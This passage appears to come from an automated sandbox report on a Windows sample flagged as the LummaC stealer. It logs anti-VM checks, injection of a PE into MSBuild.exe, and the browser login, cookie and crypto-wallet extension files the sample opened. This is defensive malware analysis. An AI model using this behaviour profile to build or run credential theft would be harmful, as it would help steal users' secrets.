Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 1582080 > 1048576

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: file.exe	Static PE information: section name: .B5
Source: file.exe	Static PE information: section name: .gxfg
Source: file.exe	Static PE information: section name: .retplne
Source: file.exe	Static PE information: section name: _RDATA
Source: file.exe	Static PE information: section name: .jss
Source: file.exe	Static PE information: section name: .jss

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C517F0 push rsp; iretd	0_2_00007FF706C517F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C51806 push rsp; iretd	0_2_00007FF706C5180F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C337B5 pushfq ; ret	0_2_00007FF706C337B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C517B2 push rsp; iretd	0_2_00007FF706C517B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4776B pushfq ; ret	0_2_00007FF706C4776E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C47392 pushfq ; ret	0_2_00007FF706C47395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C33719 pushfq ; ret	0_2_00007FF706C3371D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C518F3 push rsp; iretd	0_2_00007FF706C518F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C47CCC pushfq ; ret	0_2_00007FF706C47CD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C33CD4 pushfq ; ret	0_2_00007FF706C33CD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C484C2 pushfq ; ret	0_2_00007FF706C484C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C51874 push rsp; iretd	0_2_00007FF706C5180F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4705E pushfq ; ret	0_2_00007FF706C47062
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C48C5F pushfq ; ret	0_2_00007FF706C48C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C49C96 pushfq ; ret	0_2_00007FF706C49C97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C48434 pushfq ; ret	0_2_00007FF706C48438
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5182F push rsp; iretd	0_2_00007FF706C51831
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4741E pushfq ; ret	0_2_00007FF706C47422
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C33DF1 pushfq ; ret	0_2_00007FF706C33DF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C465E5 pushfq ; ret	0_2_00007FF706C465E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C51A08 pushfq ; ret	0_2_00007FF706C51A0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C519AF push rsp; iretd	0_2_00007FF706C519B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C47598 pushfq ; ret	0_2_00007FF706C4759C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C499A5 pushfq ; ret	0_2_00007FF706C499A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C481CB pushfq ; ret	0_2_00007FF706C481CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C46D95 pushfq ; ret	0_2_00007FF706C46D99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C3397B pushfq ; ret	0_2_00007FF706C3397E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C46582 pushfq ; iretd	0_2_00007FF706C46586
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C47D32 pushfq ; ret	0_2_00007FF706C47D36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C51AEE push rsp; iretd	0_2_00007FF706C51AFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C482EA pushfq ; ret	0_2_00007FF706C482EB

Source: file.exe	Static PE information: section name: .text entropy: 7.049880263957565
Source: file.exe	Static PE information: section name: .B5 entropy: 6.940675920308152

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8188

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: MSBuild.exe, 00000001.00000002.1483644978.000000000156F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: MSBuild.exe, 00000001.00000002.1483565378.0000000001530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@\|W
Source: MSBuild.exe, 00000001.00000002.1483644978.000000000156F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00448800 LdrInitializeThunk,

1_2_00448800

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF706CD0E14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF706CD0E14

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CC9384 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF706CC9384
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CD0E14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00007FF706CD0E14

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 451000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 134D008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00007FF706CDD808
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00007FF706CDD4F0
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF706CDD1F0
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00007FF706CD8200
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF706CDDA90
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00007FF706CD7A88

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF706CCA19C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF706CCA19C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.1483644978.000000000155D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 00000001.00000002.1484259331.0000000003AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 8164, type: MEMORYSTR
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
